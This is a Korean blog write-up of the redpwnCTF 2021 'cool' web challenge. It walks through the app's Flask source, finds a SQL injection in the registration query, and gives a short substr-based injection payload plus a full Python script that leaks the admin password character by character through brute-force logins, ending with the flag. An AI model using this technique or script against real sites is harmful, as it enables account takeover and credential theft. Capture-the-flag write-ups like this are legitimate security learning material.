ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Clear] redpwnCTF 2021 web/cool Writeup
    CTF/redpwnCTF 2021 2021. 7. 13. 23:56

    주말부터 월요일 밤까지 redpwnCTF가 열렸다. 이번 대회는 Dreamhack CTF #10 과 겹치기도했고, 시간이 많이 안나서 틈틈히 참여했다. 총 5문제 Solve하였는데 그 중 그마나 난이도가 있었던 cool 문제를 풀이해보자

     

    주어진 페이지에 접근해보자.

    메인 화면
    로그인 후

    회원 가입 후 로그인을 시도하면 아래와 같은 안내문구가 나온다. ginkoid 계정으로 로그인을 하면 플래그가 주어지는듯 하다.

     

    주어진 소스를 분석해보자.

     

    플래그 획득 조건은 아래와 같다.

    @app.route('/message')
    def message():
        if 'username' not in session:
            return redirect('/')
        if session['username'] == 'ginkoid': ##### .................................... (1)
            return send_file(
                'flag.mp3',
                attachment_filename='flag-at-end-of-file.mp3'
            )
        return '''
            <link rel="stylesheet" href="/static/style.css" />
                <div class="container">
                <p>You are logged in!</p>
                <p>Unfortunately, Aaron's message is for cool people only.</p>
                <p>(like ginkoid)</p>
                <a href="/logout">Log out</a>
            </div>
        '''

    예상한대로, ginkoid 계정으로 로그인을 해야 한다.

     

    allowed_characters = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
    )
    
    def generate_token():
        return ''.join(
            rand.choice(list(allowed_characters)) for _ in range(32) ##### .......... (2)
        )
    
    def init():
        # this is terrible but who cares
        execute('''
            CREATE TABLE IF NOT EXISTS users (
                username TEXT PRIMARY KEY,
                password TEXT
            );
        ''')
        execute('DROP TABLE users;')
        execute('''
            CREATE TABLE users (
                username TEXT PRIMARY KEY,
                password TEXT
            );
        ''')
    
        # put ginkoid into db
        ginkoid_password = generate_token() ##### .................................. (1)
        execute(
            'INSERT OR IGNORE INTO users (username, password)'
            f'VALUES (\'ginkoid\', \'{ginkoid_password}\');'
        )
        execute(
            f'UPDATE users SET password=\'{ginkoid_password}\''
            f'WHERE username=\'ginkoid\';'
        )
    
    
    init()

    시스템이 최초 구동될 때, ginkoid 계정이 추가됨을 알 수 있다. ginkoid의 password는 (1) 과 같이 정의된다.

    (1)의 로직을 파악하려면 (2)를 참고해야 한다.

    (1),(2)를 통해 알 수 있는 점은

     

    패스워드는 a-zA-Z1-9 에서 랜덤한 32글자 문자열이다. ( 0 미포함 )

     

    로그인 로직을 살펴보자

    def check_login(username, password):
        if any(c not in allowed_characters for c in username): ##### ............... (2)
            return False
        correct_password = execute(
            f'SELECT password FROM users WHERE username=\'{username}\';'
        )
        if len(correct_password) < 1:
            return False
        return correct_password[0][0] == password ##### ............................ (3)
        
    @app.route('/', methods=['GET', 'POST'])
    def login():
        error = ''
        if request.method == 'POST':
            valid_login = check_login( ##### ....................................... (1)
                request.form['username'],
                request.form['password']
            )
            if valid_login:
                session['username'] = request.form['username']
                return redirect('/message')
            error = 'Incorrect username or password.'
        if 'username' in session:
            return redirect('/message')
        return render_template_string('''
            <link rel="stylesheet" href="/static/style.css" />
            <div class="container">
                <p>Log in to see Aaron's message!</p>
                <form method="POST">
                    <label for="username">Username</label>
                    <input type="text" name="username" />
                    <label for="password">Password</label>
                    <input type="password" name="password" />
                    <input type="submit" value="Log In" />
                </form>
                <p>{{ error }}</p>
                <a href="/register">Register</a>
            <div class="container">
        ''', error=error)

    (1)부터의 소스를 보면 일련의 로그인 조건을 만족 하면 로그인이 이루어지고, /message로 리다이렉팅 됨을 알 수 있다.

    로그인 조건을 우회인증하기 위해 SQL injection 가능 여부를 파악해보자.

    (2) 조건에 의해 username 파라미터에는 구문 삽입을 위한 특수문자 등 사용이 불가능하며,

    (3) 조건에 의해 password 도 사용자 입력 값이 실제 패스워드와 일치하는지 검증하기 때문에 SQL injection이 불가능하다.

     

    순수 로그인 기능에서의 SQL injection은 불가능한 것으로 판단하고 다른 로직에서 취약점을 찾아보기로 했다.

     

     

     

    코드 분석 결과 회원 가입 시 호출되는 create_user 로직에서 취약점을 찾을 수 있었다.

    def create_user(username, password):
        if any(c not in allowed_characters for c in username):
            return (False, 'Alphanumeric usernames only, please.')
        if len(username) < 1:
            return (False, 'Username is too short.')
        if len(password) > 50: ##### .............................................. (2)
            return (False, 'Password is too long.')
        other_users = execute(
            f'SELECT * FROM users WHERE username=\'{username}\';'
        )
        if len(other_users) > 0:
            return (False, 'Username taken.')
        execute(
            'INSERT INTO users (username, password)'
            f'VALUES (\'{username}\', \'{password}\');' ##### ..................... (1)
        )
        return (True, '')

    (1)의 INSERT 구문에서 별다른 필터링이 없기 때문에 SQL injection이 가능하다고 판단했다.

    하지만 테스트 결과 '); SELECT ~~ 와 같이 여러 쿼리가 실행되도록 하는 방식은 불가능했고, 하나의 쿼리 문장에서 인젝션을 시도해야 했다.

     

    INSERT INTO users (username, password) VALUES ('username', '[password]');

    에서 우선 password 부분의 ' ' 를 포함시키면서 구문을 짜야 했기 때문에 SQLite에서 CONCAT 처럼 문자열을 더해주는 || 문법을 사용하기로 했다.

    https://www.sqlitetutorial.net/sqlite-string-functions/sqlite-concat/

     

    Looking for SQLite CONCAT? Use The Concatenation Operator || Instead

    SQLite does not support the CONCAT function. Instead, you use the concatenation to concatenate two strings into a string.

    www.sqlitetutorial.net

    따라서 injection 공격 구문은 '||(select ~~)||' 과 같이 될 것이다. 

     

    하지만 큰문제가 더 남아 있었다. (2)를 보면, password는 50글자를 넘지 못한다는 조건이 있다.

    해당 조건을 만족하기 위해 구문을 아무리 줄여도 

    '||(select substr(password,[index],1) from users limit 1)||'

    처럼 되야 할 것 같았는데.. 이 또한 50글자가 넘었다.

     

    더 줄일 방법이 없을까 하다가 뒤에 limit 1 을 지우더라도 default로 최초 생성된 계정의 password인 ginkoid 의 비밀번호를 취급할 것이라고 추측하고

    '||(select substr(password,[index],1) from users)||'

    를 시도해봤더니 에러가 나지 않음을 확인하였다. 내 추측이 맞다고 가정하고 이후 공격 시나리오를 구성해보았다.

     

    이후 공격 시나리오는

    1. password의 길이가 32인걸 알고 있으니 ,위 구문을 통해 password의 index 번째 글자를 비밀번호로 갖는 32개의 계정을 생성한다.

    2. 각 계정에 비밀번호는 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789 중 한 글자일테니,

    bruteForce 공격을 통해 비밀번호를 찾는다.

    3.찾은 비밀번호를 모두 더한 값이 ginkoid의 password가 될 것이다.

     

    위 시나리오를 코드로 구현하면 아래와 같다.

    import requests
    import urllib3
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    allowed_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
    
    url = "https://cool.mc.ax/"
    
    sess = requests.Session()
    
    registed_users=[]
    
    def login(i) :
    	for j in range(len(allowed_characters)) :
    		data = {"username":registed_users[i],"password":allowed_characters[j]}
    		response = sess.post(url,data=data,verify=False)
    
    		#print(response.text)
    		if "Incorrect username or password." not in response.text :
    			response = sess.get(url+"logout")
    			return allowed_characters[j]
    
    def register() :
    	for i in range(32) : 
    		username = "VardyExploit"+str(i).replace('0','Z')
    		registed_users.append(username)
    		data = {"username":username,"password":"'||(select substr(password,"+str(i+1)+",1) from users)||'"}
    		#print(data)
    		response = sess.post(url+"register",data=data,verify=False)
    		#print(response.text)
    		#print('------------------------------')
    
    		if "You are logged in!" not in response.text :
    			print(response.text)
    			exit()
    
    		else :
    			response = sess.get(url+"logout")
    			#print(response.text)
    
    register()
    
    ginkoid_password = ''
    
    for i in range(32) :
    	ginkoid_password += login(i)
    	print(ginkoid_password)
    
    print("ginkoid's password is "+ginkoid_password)

     

    해당 exploit code를 실행시키면 비밀번호를 획득 할 수 있다.

     

    찾은 패스워드로 로그인을 하면 somebody is cool~ 이라고 말하는 음성파일이 주어지는데, 듣기평가로 플래그를 인증하는 것은 아니고,

    패킷을 보면 파일의 마지막에 플래그가 주어짐을 확인 할 수 있다.

    FLAG = flag{44r0n_s4ys_s08r137y_1s_c00l}

    반응형

    댓글

Designed by Tistory.